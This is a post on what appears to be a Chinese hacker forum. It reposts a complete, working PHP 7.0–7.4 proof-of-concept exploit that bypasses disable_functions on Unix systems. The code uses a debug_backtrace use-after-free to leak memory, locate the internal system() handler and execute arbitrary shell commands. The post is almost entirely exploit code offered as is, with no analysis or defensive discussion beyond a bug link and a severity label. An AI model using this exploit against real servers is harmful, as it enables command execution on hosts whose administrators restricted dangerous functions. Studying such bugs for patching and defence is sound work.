• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

PHP 7.0 <7.4(Unix)-debug_backtrace disable_functions绕过漏洞


This Wind

Recommended Posts

发布内容作者:mm0r1                                              漏洞危害等级:critlow_3.gif〔高〕

 

<?php<font></font>
<font></font>
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)<font></font>
#<font></font>
# Bug: https://bugs.php.net/bug.php?id=76047<font></font>
# debug_backtrace() returns a reference to a variable <font></font>
# that has been destroyed, causing a UAF vulnerability.<font></font>
#<font></font>
# This exploit should work on all PHP 7.0-7.4 versions<font></font>
# released as of 30/01/2020.<font></font>
#<font></font>
# Author: https://github.com/mm0r1<font></font>
<font></font>
pwn("uname -a");<font></font>
<font></font>
function pwn($cmd) {<font></font>
    global $abc, $helper, $backtrace;<font></font>
<font></font>
    class Vuln {<font></font>
        public $a;<font></font>
        public function __destruct() { <font></font>
            global $backtrace; <font></font>
            unset($this->a);<font></font>
            $backtrace = (new Exception)->getTrace(); # ;)<font></font>
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4<font></font>
                $backtrace = debug_backtrace();<font></font>
            }<font></font>
        }<font></font>
    }<font></font>
<font></font>
    class Helper {<font></font>
        public $a, $b, $c, $d;<font></font>
    }<font></font>
<font></font>
    function str2ptr(&$str, $p = 0, $s = 8) {<font></font>
        $address = 0;<font></font>
        for($j = $s-1; $j >= 0; $j--) {<font></font>
            $address <<= 8;<font></font>
            $address |= ord($str[$p+$j]);<font></font>
        }<font></font>
        return $address;<font></font>
    }<font></font>
<font></font>
    function ptr2str($ptr, $m = 8) {<font></font>
        $out = "";<font></font>
        for ($i=0; $i < $m; $i++) {<font></font>
            $out .= chr($ptr & 0xff);<font></font>
            $ptr >>= 8;<font></font>
        }<font></font>
        return $out;<font></font>
    }<font></font>
<font></font>
    function write(&$str, $p, $v, $n = 8) {<font></font>
        $i = 0;<font></font>
        for($i = 0; $i < $n; $i++) {<font></font>
            $str[$p + $i] = chr($v & 0xff);<font></font>
            $v >>= 8;<font></font>
        }<font></font>
    }<font></font>
<font></font>
    function leak($addr, $p = 0, $s = 8) {<font></font>
        global $abc, $helper;<font></font>
        write($abc, 0x68, $addr + $p - 0x10);<font></font>
        $leak = strlen($helper->a);<font></font>
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }<font></font>
        return $leak;<font></font>
    }<font></font>
<font></font>
    function parse_elf($base) {<font></font>
        $e_type = leak($base, 0x10, 2);<font></font>
<font></font>
        $e_phoff = leak($base, 0x20);<font></font>
        $e_phentsize = leak($base, 0x36, 2);<font></font>
        $e_phnum = leak($base, 0x38, 2);<font></font>
<font></font>
        for($i = 0; $i < $e_phnum; $i++) {<font></font>
            $header = $base + $e_phoff + $i * $e_phentsize;<font></font>
            $p_type  = leak($header, 0, 4);<font></font>
            $p_flags = leak($header, 4, 4);<font></font>
            $p_vaddr = leak($header, 0x10);<font></font>
            $p_memsz = leak($header, 0x28);<font></font>
<font></font>
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write<font></font>
                # handle pie<font></font>
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;<font></font>
                $data_size = $p_memsz;<font></font>
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec<font></font>
                $text_size = $p_memsz;<font></font>
            }<font></font>
        }<font></font>
<font></font>
        if(!$data_addr || !$text_size || !$data_size)<font></font>
            return false;<font></font>
<font></font>
        return [$data_addr, $text_size, $data_size];<font></font>
    }<font></font>
<font></font>
    function get_basic_funcs($base, $elf) {<font></font>
        list($data_addr, $text_size, $data_size) = $elf;<font></font>
        for($i = 0; $i < $data_size / 8; $i++) {<font></font>
            $leak = leak($data_addr, $i * 8);<font></font>
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {<font></font>
                $deref = leak($leak);<font></font>
                # 'constant' constant check<font></font>
                if($deref != 0x746e6174736e6f63)<font></font>
                    continue;<font></font>
            } else continue;<font></font>
<font></font>
            $leak = leak($data_addr, ($i + 4) * 8);<font></font>
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {<font></font>
                $deref = leak($leak);<font></font>
                # 'bin2hex' constant check<font></font>
                if($deref != 0x786568326e6962)<font></font>
                    continue;<font></font>
            } else continue;<font></font>
<font></font>
            return $data_addr + $i * 8;<font></font>
        }<font></font>
    }<font></font>
<font></font>
    function get_binary_base($binary_leak) {<font></font>
        $base = 0;<font></font>
        $start = $binary_leak & 0xfffffffffffff000;<font></font>
        for($i = 0; $i < 0x1000; $i++) {<font></font>
            $addr = $start - 0x1000 * $i;<font></font>
            $leak = leak($addr, 0, 7);<font></font>
            if($leak == 0x10102464c457f) { # ELF header<font></font>
                return $addr;<font></font>
            }<font></font>
        }<font></font>
    }<font></font>
<font></font>
    function get_system($basic_funcs) {<font></font>
        $addr = $basic_funcs;<font></font>
        do {<font></font>
            $f_entry = leak($addr);<font></font>
            $f_name = leak($f_entry, 0, 6);<font></font>
<font></font>
            if($f_name == 0x6d6574737973) { # system<font></font>
                return leak($addr + 8);<font></font>
            }<font></font>
            $addr += 0x20;<font></font>
        } while($f_entry != 0);<font></font>
        return false;<font></font>
    }<font></font>
<font></font>
    function trigger_uaf($arg) {<font></font>
        # str_shuffle prevents opcache string interning<font></font>
        $arg = str_shuffle(str_repeat('A', 79));<font></font>
        $vuln = new Vuln();<font></font>
        $vuln->a = $arg;<font></font>
    }<font></font>
<font></font>
    if(stristr(PHP_OS, 'WIN')) {<font></font>
        die('This PoC is for *nix systems only.');<font></font>
    }<font></font>
<font></font>
    $n_alloc = 10; # increase this value if UAF fails<font></font>
    $contiguous = [];<font></font>
    for($i = 0; $i < $n_alloc; $i++)<font></font>
        $contiguous[] = str_shuffle(str_repeat('A', 79));<font></font>
<font></font>
    trigger_uaf('x');<font></font>
    $abc = $backtrace[1]['args'][0];<font></font>
<font></font>
    $helper = new Helper;<font></font>
    $helper->b = function ($x) { };<font></font>
<font></font>
    if(strlen($abc) == 79 || strlen($abc) == 0) {<font></font>
        die("UAF failed");<font></font>
    }<font></font>
<font></font>
    # leaks<font></font>
    $closure_handlers = str2ptr($abc, 0);<font></font>
    $php_heap = str2ptr($abc, 0x58);<font></font>
    $abc_addr = $php_heap - 0xc8;<font></font>
<font></font>
    # fake value<font></font>
    write($abc, 0x60, 2);<font></font>
    write($abc, 0x70, 6);<font></font>
<font></font>
    # fake reference<font></font>
    write($abc, 0x10, $abc_addr + 0x60);<font></font>
    write($abc, 0x18, 0xa);<font></font>
<font></font>
    $closure_obj = str2ptr($abc, 0x20);<font></font>
<font></font>
    $binary_leak = leak($closure_handlers, 8);<font></font>
    if(!($base = get_binary_base($binary_leak))) {<font></font>
        die("Couldn't determine binary base address");<font></font>
    }<font></font>
<font></font>
    if(!($elf = parse_elf($base))) {<font></font>
        die("Couldn't parse ELF header");<font></font>
    }<font></font>
<font></font>
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {<font></font>
        die("Couldn't get basic_functions address");<font></font>
    }<font></font>
<font></font>
    if(!($zif_system = get_system($basic_funcs))) {<font></font>
        die("Couldn't get zif_system address");<font></font>
    }<font></font>
<font></font>
    # fake closure object<font></font>
    $fake_obj_offset = 0xd0;<font></font>
    for($i = 0; $i < 0x110; $i += 8) {<font></font>
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));<font></font>
    }<font></font>
<font></font>
    # pwn<font></font>
    write($abc, 0x20, $abc_addr + $fake_obj_offset);<font></font>
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type<font></font>
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler<font></font>
<font></font>
    ($helper->b)($cmd);<font></font>
    exit();<font></font>
}<font></font>
<font></font>
#   [2020-03-20]  #

 

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now